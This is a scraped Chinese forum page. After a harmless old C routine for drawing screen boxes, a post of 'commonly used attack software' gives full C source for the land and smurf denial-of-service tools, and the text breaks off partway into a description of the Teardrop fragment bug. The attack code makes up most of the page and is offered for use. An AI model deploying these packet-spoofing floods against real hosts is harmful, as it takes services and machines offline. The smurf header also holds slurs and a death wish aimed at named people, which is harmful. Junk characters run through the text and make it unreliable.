*/</FONT></P><><FONT color=#009900>main()+ `1 K) ?9 p0 B" f" y! z4 g! o% a% G0 {
{
) a6 j* h* i0 o, Tclrscr();' A8 P  q$ m' h8 I6 g) b) L5 H
box(1,1,23,79);% S9 V2 H# p9 P: G* G
box(2,2,21,77);% {, l% K5 U" W5 q
box(3,3,19,75);
% A; ~1 u0 @3 obox(4,4,17,73);
. `- {9 ^" `6 ?! J  Ybox(5,5,15,71);
$ j$ n( g2 k+ j# }/ q) g/ a0 |box(6,6,13,69);  b  U7 a1 n0 K  c4 i3 N
box(7,7,11,67);
$ _. r9 [; f4 b$ P; fbox(8,8,9,65);
6 J2 h. e- w( }( E' P5 C0 nbox(9,9,7,63);
0 [$ K3 [4 k) _( R( Pbox(10,10,5,61);5 U$ W; H4 P5 D; O0 h2 T8 M) }
box(11,11,3,59);0 j$ u0 [  x% U6 Q& l  V. \8 m
box(12,12,1,57);
, O) q2 ?, |2 y) u+ Z  \* ?, vposcur(24,1);) u" f2 y6 Z# w- @; x, R5 i$ r
}</FONT></P><><FONT color=#009900>/************************************************************8 N" U; `* n; h* [
* BOX *
% D3 ?0 r: M1 Y" J9 o8 M% Q*----------------------------------------------------------*3 t) p$ x# j! r
* Written by: Jeff Ebert 7/01/87 *
1 L; z) k5 [5 Z  L( y+ K* Modified by: xxxxxxxxxx *
. o; c9 u4 A6 ~) g. R* *
. O" _! Z6 t7 U, i* Please modify me! *9 F+ G9 }7 R6 g# Y1 _9 _
* Possible Enhancements include but are not limited t *
% w3 O! p& Q# I0 _) I7 M# R+ {* 1) Variable box character styles [1 line or 2] *: I, _& F5 r" g
* 2) Error checking *) I' `- B5 j) a$ D* Q4 P
* 3) Color options *
2 t; H) k1 E3 E* *
/ }" j. [5 ^' @4 W, B* *0 x6 O" G' R1 m; n7 f( V) a8 v
* This function builds a simple double frame for a menu. *
  F/ j* V/ u7 a5 p$ x& r* The function is passed the parameters for the upper *8 R8 y1 K7 {' M& Y- _6 W; h! M
* left corner row, upper left corner column the height *2 m  y: Q7 ]( v( G6 M/ Y6 [
* of the frame and the width. *
( z( H, n9 ~( M: W% P* *
$ _) F5 |  x: T6 t, N+ l; Y: D************************************************************/: Q% j3 `& [/ X( F) A; x
#include <STDIO.H></FONT></P><><FONT color=#009900>#define ULCOR 201
- _$ a6 w4 G, [' c! a$ P. Z; N#define URCOR 187* L+ B0 r' a5 c& x( }5 E
#define LLCOR 200% }" o6 `6 |% u' ]% d) S1 t
#define LRCOR 188. |6 Z' j( j$ Z* ]2 Y. \' ]& g
#define VBAR 186
! k# ?# Q1 T6 w$ _- f( d, X  K% ~#define HBAR 205
/ z$ V3 W* `4 l3 l$ d7 `#define ESC 27</FONT></P><><FONT color=#009900>, H. a! s% [; F4 M( T& L/ V+ x
box(row, col, hgt, wdth)5 m8 C2 m" T5 x1 |4 h
int row, col, hgt, wdth;</FONT></P><><FONT color=#009900>{
1 p0 q; x( T; }  Y: b9 z6 eint x, y;</FONT></P><><FONT color=#009900>poscur(row,col);( C4 s; a8 [8 n: T
putchar(ULCOR);5 Q& `4 S  c7 b+ e! x6 U: K$ y
for(x = col + 1; x &lt;=(col + wdth -1); x++)4 C2 @% ~  ~7 F. T  S: _& E  S
putchar(HBAR);  W% Z3 U7 n5 h! i1 W
putchar(URCOR);</FONT></P><><FONT color=#009900>for(x = row + 1; x &lt;=(row + hgt - 1); x++){7 C) L: J, ^! x) A
poscur(x,col);
% u2 x- u2 W8 xputchar(VBAR);
. j7 v! _  r% @7 }1 d5 Mposcur(x,col+wdth);
* P4 P, _$ ~7 [2 g* m) G4 Wputchar(VBAR);7 M8 G( S6 F/ D: H0 d2 w* V
}- C  M; v5 q& O# G" ^  v
poscur(x,col);9 b: Z- o) d$ S, K- T1 V; o& S
putchar(LLCOR);9 V4 n2 N& g* ?2 Q
for(x= col + 1; x &lt;=(col + wdth -1); x++)
0 @, H' w) a9 y' l/ B( K. tputchar(HBAR);+ K0 O; d4 \  P0 _9 j0 `$ D- j
putchar(LRCOR);
1 j4 L  A( M8 T1 P}</FONT></P><><FONT color=#009900>/********************************************************
9 `, R! N7 b( f$ u4 e- R7 G5 H0 w* POSCUR *
8 r9 @5 G5 F) Z. Q5 d0 j*------------------------------------------------------*$ ]) @' M+ C8 {+ Q! R
* This function positions the cursor at the specified *
9 ^* t2 I7 k* H0 }: K  a* x,y coordinate. It uses the ANSI standard ESCAPE *5 t/ E" m+ |1 b% n6 I( g0 r- F
* sequence to produce the desired effect. Its not the *) a7 E% \) O# Y* D- _( ~
* fastest way to position the cursor, but perhaps the *. P8 {( q& P6 K8 n( F
* most portable. *; t$ W6 M8 D0 _
* *
: p0 g0 ~: B3 N9 g  O, e********************************************************/
' O( R0 _8 E2 p' b% h; P/ z+ Kposcur(xcor,ycor)
' H! L. F) q' I5 z! a3 _int xcor,ycor;
2 D7 l* w, S$ F" b4 q6 ~# \! @{ # R% T3 u  W" {$ G
printf("%c[%d;%dH",ESC,xcor,ycor);- X* r2 s9 ~% S" S: S
}</FONT></P><><FONT color=#009900># E: h& s( s, Y
/********************************************************
+ a2 X: X. v: s8 Z0 h  O9 K. Y* CLRSCR */ v( y1 x1 X+ g
*------------------------------------------------------*' T/ p9 r* v$ x
* This function positions the cursor at the specified *0 E2 v" g) Y8 `/ b# l7 j2 I
* x,y coordinate. It uses the ANSI standard ESCAPE *
/ [* \; J% [) R8 Y/ N8 Q. b+ v* sequence to produce the desired effect. Its not the *
3 J# C" `) _2 M6 F& C: ~* fastest way to position the cursor, but perhaps the *
7 `( S# L3 `/ B6 \* most portable. *' `$ T- Q: w5 K' B6 K. X& G" p
* *
/ f5 F  k7 e- s3 T6 g( G0 C********************************************************/4 M3 O1 l, P3 ^( F* l* j5 P
clrscr()
5 L! o% ?/ `6 f4 M+ m" d{
! z9 ^) ?1 z1 x! J- nprintf("%c[2J",ESC);1 `* b) r2 \4 r* @! G
}</FONT>, P/ Q; e* ~# j3 ]  [# h8 G
</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>以前常用的攻击软件源代码</FONT></B></FONT> </DIV><>常用攻击程序</P><>Abstract! r/ X5 E1 K% L7 c6 S' P7 F
这里有一些是老的,现在看来并没有用,但他们都很有名。</P><>1 Land</P><>攻击一台Win95的机器。这是Win95的一个漏洞,以其IP地址和端口向自
" Z, |2 B4 G  V/ t( L" Y7 T己的同一个端口发起连接(发SYN),Win95即会崩溃。</P><>. q7 I4 t1 T8 F5 d9 @& e
<FONT color=#009900>/* land.c by m3lt, FLC
# j, Y2 ~9 Z, d- E# L6 Scrashes a win95 box */</FONT></P><><FONT color=#009900>#include <STDIO.H>
7 f: P- P& g3 ?/ A# g4 W#include <NETDB.H>4 L6 r( w. I: L0 |# s
#include <ARPA inet.h>
8 }/ `9 @+ \0 H#include <NETINET in.h>
+ _1 o: }' |) r9 b; n9 F) I6 i#include <SYS types.h>
, v- r3 o$ i. y) P#include <SYS socket.h>
) E' i  ~( r" D$ @#include <NETINET ip.h>8 u# E4 v# u+ E( A$ S$ r
#include <NETINET tcp.h></FONT></P><><FONT color=#009900>//用于TCP校验和的伪头. j7 ]1 k) c( q
struct pseudohdr
! \8 ?- Q! }! }' M9 [{
& J( Y3 L- r9 ]5 E9 ?struct in_addr saddr;+ z% s6 L" P6 Z! I) u5 q- k. t
struct in_addr daddr;
$ [- M8 @. O" K  Z, y' f! C7 nu_char zero;' W, l4 V" k# F% C( z$ L
u_char protocol;! R: ~6 o; k5 R* L2 i
u_short length;
6 Z- r" W8 b: b' b+ O: Y3 ^4 r: Astruct tcphdr tcpheader;
# V% |% z% `9 i  ?% m" l, h4 J};</FONT></P><><FONT color=#009900>//计算IP校验和
$ Y9 y5 ?- E" fu_short checksum(u_short * data,u_short length)/ _0 ]6 h6 M: h; z" C2 j8 u8 @
{
' F: j! o0 z2 q0 |6 Wregister long value;2 x* R5 e% U3 H# w2 ]
u_short i;</FONT></P><><FONT color=#009900>for(i=0;i&lt;(length&gt;&gt;1);i++)
/ P3 [5 w6 H# \6 qvalue+=data;</FONT></P><><FONT color=#009900>if((length&amp;1)==1)  |# T5 m$ w" ~/ e/ x) C0 ^! _
value+=(data&lt;&lt;8);</FONT></P><><FONT color=#009900>value=(value&amp;65535)+(value&gt;&gt;16);</FONT></P><><FONT color=#009900>return(~value);, M! h6 u, P5 F; h
}</FONT></P><><FONT color=#009900>2 [! m' \. ?1 S2 K) P) p; X
int main(int argc,char * * argv)) w0 n& w3 I5 i8 F8 a/ h1 X$ `
{8 c$ n% _' K, O2 x  T
struct sockaddr_in sin;7 a/ S0 v# Q- K; L( p, o
struct hostent * hoste;
# V( x" O, S2 a$ T- Qint sock;
0 x( X- y, x$ a( W( `8 ~; ~; Gchar buffer[40];
4 v& [, I; r# w5 z+ estruct iphdr * ipheader=(struct iphdr *) buffer;
2 K! i4 `8 V+ G" ?( |" Gstruct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));( p( Y+ e% w5 O2 \8 s4 M
struct pseudohdr pseudoheader;</FONT></P><><FONT color=#009900>fprintf(stderr,"land.c by m3lt, FLC\n");</FONT></P><><FONT color=#009900>if(argc&lt;3)0 U. g( @9 R4 d$ s; |! N3 V- B: m
{
( |/ D# f) G, k3 }fprintf(stderr,"usage: %s IP port\n",argv[0]);4 ^$ ?# x1 f- B; F9 ^* p7 f+ P$ l
return(-1);
2 s8 n: @, S( s}</FONT></P><><FONT color=#009900>bzero(&amp;sin,sizeof(struct sockaddr_in));
% ?, P6 p2 d# z2 m- }6 N: d+ {sin.sin_family=AF_INET;</FONT></P><><FONT color=#009900>if((hoste=gethostbyname(argv[1]))!=NULL)
1 ]- {) Z/ r7 s* @0 ibcopy(hoste-&gt;h_addr,&amp;sin.sin_addr,hoste-&gt;h_length);2 Z) P; x; i7 I5 B9 z" w
else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
2 C; u  y' N( O4 b7 R& b{
0 t6 u8 x6 [% G1 l! c* k7 Zfprintf(stderr,"unknown host %s\n",argv[1]);1 F5 r  a0 U# c) m/ O* D! T2 \) z
return(-1);
, B+ P/ Z& s1 h1 \}</FONT></P><><FONT color=#009900>if((sin.sin_port=htons(atoi(argv[2])))==0)
% m$ O$ X+ |& |) H1 q{! A) X" w, H/ w( j2 J2 ]
fprintf(stderr,"unknown port %s\n",argv[2]);
- d7 {6 `9 l% A1 m2 @' H4 l" Breturn(-1);
4 i5 H7 a* t3 Z/ y( V' T}</FONT></P><><FONT color=#009900>//new一个SOCK—RAW以发伪造IP包 这需要root权限
+ q- p- Z7 L( ~$ ~: Q5 Rif((sock=socket(AF_INET,SOCK_RAW,255))==-1)) s7 P3 }0 v" k5 w0 D4 C
{; @- l$ a2 l6 }4 Y; n& J  c) L7 _
fprintf(stderr,"couldn't allocate raw socket\n");& _1 c; g* o# J
return(-1);
8 t5 _; v3 d, Z0 n' H$ H}</FONT></P><><FONT color=#009900>bzero(&amp;buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));& R, K% |" S& x- f* f- A* B; j
ipheader-&gt;version=4;
4 }8 a, g, Q9 z/ {ipheader-&gt;ihl=sizeof(struct iphdr)/4;5 [: e: c6 E" a  y7 g5 H
ipheader-&gt;tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));" y% T6 H% E% @: ]3 s% o
ipheader-&gt;id=htons(0xF1C);
3 `/ M; y7 }  ?/ q) f9 aipheader-&gt;ttl=255;
# c! O# {1 c9 ?0 _  yipheader-&gt;protocol=IP_TCP;</FONT></P><><FONT color=#009900>//目的IP地址和源IP地址相同
( W2 M% G0 m$ o- T# ]ipheader-&gt;saddr=sin.sin_addr.s_addr;. Q9 g/ E; O5 w+ g  M$ \
ipheader-&gt;daddr=sin.sin_addr.s_addr;</FONT></P><><FONT color=#009900>//目的TCP端口和源TCPIP端口相同
4 Z' Y( x, Z+ \4 y8 e) c1 @1 @tcpheader-&gt;th_sport=sin.sin_port;
8 t4 w0 H" ^3 @6 F3 E; w$ P" p8 stcpheader-&gt;th_dport=sin.sin_port;/ Q+ |7 N7 `" G( q! R( m
tcpheader-&gt;th_seq=htonl(0xF1C);
4 L3 |* R/ c( q- p( X) G" Q% mtcpheader-&gt;th_flags=TH_SYN;
, w: Z' p5 [) ^% Q/ |: Itcpheader-&gt;th_off=sizeof(struct tcphdr)/4;
5 b7 ]! W/ i/ a  }. Z/ stcpheader-&gt;th_win=htons(2048);</FONT></P><><FONT color=#009900>bzero(&amp;pseudoheader,12+sizeof(struct tcphdr));- a/ ^" b% D' z+ r1 i
pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;2 Y$ N( S  Z2 Y7 T/ b$ s! l, N2 U& x6 D
pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;2 c: Y+ y0 k- Q# |* n  ~) v, U
pseudoheader.protocol=6;2 g! t; l' ]8 w5 u9 k) S
pseudoheader.length=htons(sizeof(struct tcphdr));
4 U/ F6 o" [6 {1 K) g3 ybcopy((char *) tcpheader,(char *) &amp;pseudoheader.tcpheader,sizeof(struct tcphdr));$ c' Y3 k# n; k" }
tcpheader-&gt;th_sum=checksum((u_short *) &amp;pseudoheader,12+sizeof(struct tcphdr));</FONT></P><><FONT color=#009900>if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),! t8 N6 Z3 `/ k. D4 D
0,(struct sockaddr *) &amp;sin,sizeof(struct sockaddr_in))==-1)0 q! l- E5 Z3 k2 F
{
6 j. ]8 r+ ~1 |3 A3 i3 {fprintf(stderr,"couldn't send packet\n");
4 a5 o1 A- @( l, [7 e+ Mreturn(-1);
. W& O+ E2 h' v0 u4 }/ H+ j}</FONT></P><><FONT color=#009900>fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);</FONT></P><><FONT color=#009900>close(sock);! y/ j7 \$ j- o3 Q# H$ o5 i
return(0);, \% z" S& k) b; G$ R: P
}</FONT></P><>: Q& t% V& W/ k. J; G/ ~
2 Smurf
9 o  T$ `! s- l; H1 v: P  Msmurf攻击是很简单的,它有一些IP(广播地址)地址列表,发出了一些伪造的数# S* {$ z. P- W/ q0 j! Q/ }
据包(ICMP echo request)从而导致一场广播风暴,可以使受害主机(使它成为伪造包
- R* L2 }3 P2 J* m$ T的源地址)崩溃。</P><>受害者有两种:中间的设备(bounce sites 交换机或路由器)和被伪装的IP(那些% _2 g. g. P7 T9 }& V1 O
icmp echo的包都被发给它)。这种攻击依赖于路由器把一个广播地址转化为一广播桢4 c+ @3 z* r  Y; M7 {
(如Ethernet, FF:FF:FF:FF:FF:FF),RFC中允许这种转换,但在今天看来是不需要的。</P><>可以使你router停止转换第三层的广播(IP)到第二层的广播(Ethernet)。</P><>但是Smb服务器或NT需要远程广播使LAN知道它的存在,但在路由器的上述配置会使这变4 g& O0 D0 F" d& k
成不可能(没有WINS服务器时)。</P><P>/*0 ~+ q, L$ }5 ^" d* f
*
* f7 ^, |+ J8 t; Y, r! g1 M$ e: [) X* $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $
6 f8 h$ R/ A9 e' e4 b# U" a*
: E' D, `9 ^3 F! ]: ~# \* spoofs icmp packets from a host to various broadcast addresses resulting3 t0 H+ a0 x9 q4 N
* in multiple replies to that host from a single packet.4 h2 f' S5 X7 k- b
*7 {- N1 z# y0 h* I2 s. a5 @8 z  e3 M
* mad head t
8 K& Z; @8 u2 E5 H" Q& O* nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,
% @  f& x- L6 M+ H* MissSatan for swallowing, napster for pimping my sister, the guy that
) L% E, ]; P, r3 @6 b, B; p, h* invented vaseline, fyber for trying, knowy, old school #havok, kain
: k5 k; u1 C) ]* cos he rox my sox, zuez, toxik, robocod, and everyone else that i might
+ |8 z! V7 [2 V$ }% D* have missed (you know who you are).6 z$ G! h! m' A. y  w
*
% T; m. N% @9 E% q0 G3 ~* hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy
5 w! J0 m7 V/ L* thing he is (he's -almost- as stubborn as me, still i managed to pick up6 L* r5 ]8 P/ r2 j4 A# z4 ]/ V" c
* half the cheque).3 ]2 `( U  T' x% Z/ u6 P% K
*- ], X" |) p! [' m) Q$ a2 S, {
* and a special hi to Todd, face it dude, you're fucking awesome.6 ]+ D- Q7 \2 k! V1 L
*
6 ^. R9 F: R& M& N, x  I/ X7 N* mad anal t! g1 u8 R. f+ f* U6 M! d% G3 R5 m
* #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps6 k0 C: t' [0 r7 J2 [
* because they plain suck, Rolex for being a twit, everyone that
1 D- H7 I7 H- T# O; n9 N* trades warez, Caren for being a lesbian hoe, AcidKill for being her2 N) ?0 e+ x; R8 s7 j7 P0 n1 a5 |
* partner, #cha0s, sedriss for having an ego in inverse proportion to
. `( S7 b1 g$ T/ x' [7 u' q* his penis and anyone that can't pee standing up -- you don't know what$ J( ?0 J: |4 f1 H. K! [% I; c
* your missing out on.
& i1 f# x9 R& x5 l& O" X*
7 T5 c2 b2 C3 ]! |2 W' v0 A; F/ v+ x* and anyone thats ripped my code (diff smurf.c axcast.c is rather% y% r% u) N. U* H2 o3 x
* interesting).
8 k4 W; R) u- \*  ]9 d4 H; n' h+ c/ s% R+ G% Y$ o
* and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill/ b6 l/ r& n% X% U- T
* Robbins for trying to steal my girlfriend. Not only did you show me
' l' Y- Z6 a' z' F  L1 o* no respect but you're a manipulating prick who tried to take away the
' ?* R. c- {% w1 k* most important thing in the world to me with no guilt whatsoever, and
- y6 W2 y% l% M& ~* j- {6 k* for that I wish you nothing but pain. Die.: }% D7 W/ F9 t3 c
*
" a8 v7 R0 ]9 B( r* disclaimer:
/ I3 C: ~  t# T7 ]% }( g3 b  y) E3 ]* I cannot and will not be held responsible nor legally bound for the  \# V4 A9 Z" [6 f
* malicious activities of individuals who come into possession of this
' p4 z5 F3 i- D* program and I refuse to provide help or support of any kind and do NOT
3 H- d( l# H9 X7 ^, U- C* condone use of this program to deny service to anyone or any machine.
. }9 C8 v; Q8 l- \4 N* This is for educational use only. Please Don't abuse this.! L, Y+ p4 [% P9 J
*
5 _9 t  t3 T) T- T6 S* Well, i really, really, hate this code, but yet here I am creating another) }# b9 Z; o+ M/ f( C
* disgusting version of it. Odd, indeed. So why did I write it? Well, I,
! |: X1 z# G) W; {0 f* like most programmers don't like seeing bugs in their code. I saw a few
7 e( j; `% F0 R$ Q/ H$ D9 E* things that should have been done better or needed fixing so I fixed3 n9 `2 ~% l4 H, f3 U( Z2 s
* them. -shrug-, programming for me as always seemed to take the pain away3 }, T5 u$ u: D% k; p
* ...
/ p/ \5 w% W* y+ x: R*3 R' c/ N7 ], }) Z9 o. j
*
/ O9 P+ M: s1 g0 D. s0 b( z9 ^" j$ ?*/</P><P>#include <SIGNAL.H>
! ^. Z+ Z9 L" q' _8 G7 E#include <STDIO.H>
, w% {8 l; Z0 M3 @, {#include <STDLIB.H>
- h8 l# ~3 ?3 n+ z9 M% W#include <SYS socket.h>* V. a2 I+ Z; Q3 m- `3 f( }
#include <SYS types.h>
3 s8 Q" }. c# k; v9 z#include <NETINET in.h>
$ z* ~% l  L, e6 L. |& x#include <NETINET ip.h>9 t0 J+ s6 V1 w! j
#include <NETINET ip_icmp.h>* |/ x  D9 p. o& e4 w) u! P% a
#include <NETDB.H>
) B, J' h, [+ h7 M" [" B#include <CTYPE.H>
- \/ C1 A  a0 b4 y2 X# S' _  Q#include <ARPA inet.h>
: w9 T  w0 V/ G" `4 r+ l! ~#include <UNISTD.H>+ a: |5 h8 N/ {  B
#include <STRING.H></P><P>void banner(void);/ {9 M( \' v8 F8 J! j
void usage(char *);6 r% x( I; `- i0 K* R) o
void smurf(int, struct sockaddr_in, u_long, int);2 B( J- ?/ T! e- n* I, M2 M4 Z
void ctrlc(int);
8 `, v" F  w6 }, Y+ H, @3 Y& u' ounsigned short in_chksum(u_short *, int);</P><P>/* stamp */" c! o! T) R4 Y
char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";</P><P>int main (int argc, char *argv[])
" a2 H- \0 u# s{
9 x  c/ P! ?( A8 ustruct sockaddr_in sin;- o) K9 z* U# F* H) m4 h; C
struct hostent *he;
# j) T( `: \* O* Q4 QFILE *bcastfile;
5 i# g9 i8 T6 Y- oint i, sock, bcast, delay, num, pktsize, cycle = 0, x;  i* z( X8 @) Y1 R1 U3 r
char buf[32], **bcastaddr = malloc(8192);</P><P>banner();
9 \% N% F5 F6 T6 Z4 K: `' j' qsignal(SIGINT, ctrlc);</P><P>if (argc &lt; 6) usage(argv[0]);</P><P>if ((he = gethostbyname(argv[1])) == NULL) {
" Y/ D# v' i- I' F7 ]& {7 |perror("resolving source host");
$ ?9 Y: X  [) \( B4 lexit(-1);4 C- k' I+ H6 b2 a5 `: a
}% E# g: t# x3 D" o* f
memcpy((caddr_t)&amp;sin.sin_addr, he-&gt;h_addr, he-&gt;h_length);; K; i1 n9 ]9 P- i5 n2 r$ N# k
sin.sin_family = AF_INET;  s- \7 ]) {) }3 O' Q* k6 k
sin.sin_port = htons(0);</P><P>num = atoi(argv[3]);  W4 J: d6 P: e8 L9 v$ J* ?
delay = atoi(argv[4]);* M3 c. ?( ]- Q& Z( d
pktsize = atoi(argv[5]);</P><P>if ((bcastfile = fopen(argv[2], "r")) == NULL) {! i' Y. ~3 V9 _0 [4 ^! l
perror("opening bcast file");- Y' K4 w1 `4 V: ~
exit(-1);* _+ D2 |9 f/ t. T
}
6 J" r! X+ w4 Ux = 0;% L; c1 y( ^4 H0 z
while (!feof(bcastfile)) {
! B! b+ ^1 M) C7 L& F- g' ~fgets(buf, 32, bcastfile);- p$ I  W6 K' w( P1 d/ C) L2 w
if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;0 @; l4 Q$ e# Q* W( F5 `0 a4 G6 N
for (i = 0; i &lt; strlen(buf); i++)
& ^6 K7 l; z, V( Q! V& x6 gif (buf == '\n') buf = '\0';
4 J& }1 S! l# I) D) Z4 Wbcastaddr[x] = malloc(32);  N, V  i  L+ W; W  ]' L
strcpy(bcastaddr[x], buf);
+ G# v& D. \+ z) v7 Mx++;9 a* V  K4 y8 Y* ^/ C% l: c" v! V
}
3 ]) T- }- N; a( obcastaddr[x] = 0x0;1 n1 n% R4 E* {/ ~# A7 n. Z
fclose(bcastfile);</P><P>if (x == 0) {9 O5 X" O+ p% S' O9 k( T
fprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);
5 f1 X& D! w! `; a/ O6 L# Hexit(-1);' u4 n; g0 Q7 }6 q% ]# o6 V% A5 H4 Y
}6 D2 O1 y! E  w1 J
if (pktsize &gt; 1024) {: F* R/ ^9 g9 j+ F* Y1 A9 i7 R
fprintf(stderr, "ERROR: packet size must be &lt; 1024\n\n");
4 w, k. G  \+ Fexit(-1);. m9 ^" E6 t" ]* @1 K: Q
}</P><P>if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0) {+ _6 W& G$ {; M& Q9 _1 A9 v
perror("getting socket");
$ `' W4 L# v5 b- u( pexit(-1);3 Y4 l4 C4 O0 ?$ K% r. z' V% r1 `
}
# _. y; Z  X$ P( q' {setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&amp;bcast, sizeof(bcast));</P><P>printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);</P><P>for (i = 0; i &lt; num || !num; i++) {
) E/ B! r% C8 ]6 g: r" qif (!(i % 25)) { printf("."); fflush(stdout); }2 w( v0 t( e3 I
smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);. H, X7 B; h$ a! X$ C) |
cycle++;
+ K# C7 t$ Z* V. Xif (bcastaddr[cycle] == 0x0) cycle = 0;, o* K3 W8 T) _0 Y8 E
usleep(delay);
" ]" ]- ~+ ?- R6 B; D}
0 Z* }4 T% c1 yputs("\n\n");
- H9 G5 ]- X2 L; n( ^' j4 yreturn 0;
3 M! p! f. u. `3 p& w& {) z7 W1 y% ~}</P><P>void banner (void)
% G# M# P1 E1 O% e6 h1 S{
; m# Z, G$ c4 L8 t- W% nputs("\nsmurf.c v4.0 by TFreak\n");# }5 Z5 J+ b: E4 j  ?4 N
}</P><P>void usage (char *prog)
0 d" d& L) r% A/ ~{5 D; ^4 ^! I4 u, W
fprintf(stderr, "usage: %s <TARGET><BCAST file>"
6 D+ G0 q7 @! V3 J" F"<NUM packets> <PACKET delay><PACKET size>\n\n"+ ^' _; N7 o* l  Y5 _
"target = address to hit\n"* p# Y9 r& j: t& m0 l6 {3 i+ P
"bcast file = file to read broadcast addresses from\n"
0 W% p0 e0 l2 ^+ {& V3 P+ F0 E"num packets = number of packets to send (0 = flood)\n"
& k7 `9 F: H5 r8 B"packet delay = wait between each packet (in ms)\n"
2 d: N7 G* b; Z1 o( O# ^"packet size = size of packet (&lt; 1024)\n\n", prog);
* w7 V, w( |9 u+ K* D* V' }exit(-1);; ~2 Y8 f0 n* c7 d' C7 L
}</P><P>void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize)6 q+ N9 y7 f1 _" _3 Y
{+ P* p+ I% i9 c' x8 t% u7 j
struct iphdr *ip;
# {# Q+ ]$ N( D' M6 kstruct icmphdr *icmp;: C$ O$ y. @; d0 l5 J* Z
char *packet;</P><P>packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);5 q: z1 [( ?1 a) U: s6 Q
ip = (struct iphdr *)packet;
" z* c, b/ d, f/ W7 M% a; qicmp = (struct icmphdr *) (packet + sizeof(struct iphdr));</P><P>memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);</P><P>ip-&gt;tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
. e' c3 O7 J0 ?ip-&gt;ihl = 5;
  i, `1 {( Q% T. [! v! @3 D. n1 mip-&gt;version = 4;
" M: V/ m( @7 L' I  ~# lip-&gt;ttl = 255;9 Z2 ~. C; p! f( w: X- Y2 V' j4 V# ^
ip-&gt;tos = 0;6 e/ {3 F) j- I4 `  k
ip-&gt;frag_off = 0;
4 D7 ~) M- ^- v- N6 q& l* T- fip-&gt;protocol = IPPROTO_ICMP;
0 X7 i$ L4 z; D( Lip-&gt;saddr = sin.sin_addr.s_addr;1 L& _3 b9 T0 }0 B0 T$ `
ip-&gt;daddr = dest;
* W# l% v* K& i; \# fip-&gt;check = in_chksum((u_short *)ip, sizeof(struct iphdr));
: |$ I& B3 r2 c/ m  I! @icmp-&gt;type = 8;0 H5 k+ @+ w; k$ S8 l1 g
icmp-&gt;code = 0;. e3 t$ f. k: c' R' J# L
icmp-&gt;checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);</P><P>sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,8 E$ b& h  F5 T
0, (struct sockaddr *)&amp;sin, sizeof(struct sockaddr));</P><P>free(packet); /* free willy! */
% E5 N  j9 U6 ^3 q5 v}</P><P>void ctrlc (int ignored)% [9 S6 H0 I- D3 M/ u2 Y& p+ T
{
7 ^  O: r, f# `- E6 u  `puts("\nDone!\n");
' e# A0 c; t0 dexit(1);
/ D/ O8 d3 |1 i( i6 }2 F1 n. z}</P><P>unsigned short in_chksum (u_short *addr, int len)
1 ~) J6 G6 w' w/ T/ I" \9 g{
) F( |: j6 h8 Jregister int nleft = len;! ^2 M9 _) p0 _
register int sum = 0;
0 X" |0 l: F; P, K* w6 yu_short answer = 0;</P><P>while (nleft &gt; 1) {
7 Y: o& K1 y; X4 dsum += *addr++;
$ Z9 q. s) t# _* H4 C& W4 bnleft -= 2;
/ D* A& O8 T5 {! F9 l* T}</P><P>if (nleft == 1) {
4 k6 O; n! P8 |( l2 \% [3 M*(u_char *)(&amp;answer) = *(u_char *)addr;
3 n9 E# c& K2 S. _" j8 @2 H7 S3 Fsum += answer;  {7 [/ W* F6 ]5 r( L
}</P><P>sum = (sum &gt;&gt; 16) + (sum + 0xffff);2 S& @% o$ i2 R4 I# T
sum += (sum &gt;&gt; 16);
. o) Y! ?% V5 f" a0 ~$ z  Uanswer = ~sum;  s  k1 _. W9 A5 \: p6 y8 f
return(answer);
, j' i1 b- D' q# b6 j}</P><P>
' [; x9 D" K/ E5 N8 s3 Teardrop</P><P>在Linux的ip包重组过程中有一个严重的漏洞。</P><P>在ip_glue()中:</P><P>在循环中重组ip包:
- G9 O; F$ Q7 Y; Gfp = qp-&gt;fragments;; w6 g$ K& L) I' e2 S6 S
while(fp != NULL)
& P8 y' H% ^! H- g# Z, K. @9 X{
1 u% j& r# p* I* k% cif(count+fp-&gt;len &gt; skb-&gt;len)
9 E5 z8 i3 H4 ^; S% I8 w/ S{
9 P( r1 H5 ], lerror_to_big;
) J6 g4 @) p2 w6 x; y! I}
' Z0 H5 S1 \  b6 X5 A0 tmemcpy((ptr + fp-&gt;offset), fp-&gt;ptr, fp-&gt;len);
8 R; n' ~$ M( `( h, f+ R: Scount += fp-&gt;len;$ o- Y0 }) T7 G- c2 L
fp = fp-&gt;next;
9 ^3 [3 M& s; k. m. X}
4 M" M1 o! i, q% h' _+ x这里只检查了长度过大的情况,而没有考虑长度过小的情况,# n3 D/ |. d' d; ?5 d: U2 f
如 fp-&gt;len&lt;0 时,也会使内核拷贝过多的东西。</P><P>计算分片的结束位置:5 _1 S1 n5 F$ i, f" i0 P2 {
